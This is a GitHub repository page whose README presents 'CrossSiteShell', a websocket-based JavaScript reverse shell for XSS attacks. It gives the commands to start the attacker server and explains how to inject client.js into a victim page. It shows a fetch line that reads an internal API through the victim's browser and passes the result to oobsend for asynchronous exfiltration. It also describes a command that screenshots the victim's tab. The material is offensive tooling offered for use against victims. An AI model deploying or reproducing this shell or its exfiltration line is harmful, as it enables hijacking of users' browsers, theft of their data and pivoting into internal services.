Skip to content

A websocket-based reverse (javascript) shell for XSS attacks.

Notifications You must be signed in to change notification settings

beescuit/crosssiteshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CrossSiteShell

A javascript/nodejs "reverse shell" that makes it easier to interact with the victim's browser during XSS attacks.

demo gif

Usage

Run the following commands to start up the server:

npm install
node server.js

Then import the script located at http(s)://yourserver/client.js in any webpage.

Arguments

You can use arguments to control the functionality of the script.

Use --port or -p to change the listening port and --file or -f to change the name of the payload file.

node server.js -p 8080 -f x.js

Asynchronous data exfiltration

By default, the commands are executed through the eval function which is not asynchronous. To overcome this, I created a callback function (window.oobsend(string)) that sends data to the server asynchronously. Here's an example of how to use it to communicate with an internal API:

fetch('https://internalservice/api').then(x => x.text().then(oobsend))

Taking screenshots

By using the .ss command in the console, CrossSiteShell will attempt to take a screenshot of the victims tab. This is achieved by importing another library (html2canvas) that converts the HTML/CSS into a canvas and saves it's content as an image. The image should be saved to your disk after it gets received.

HTTPS

HTTPS is not supported by default. I'd recommend using a reverse proxy such as nginx to redirect traffic to the script.

About

A websocket-based reverse (javascript) shell for XSS attacks.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages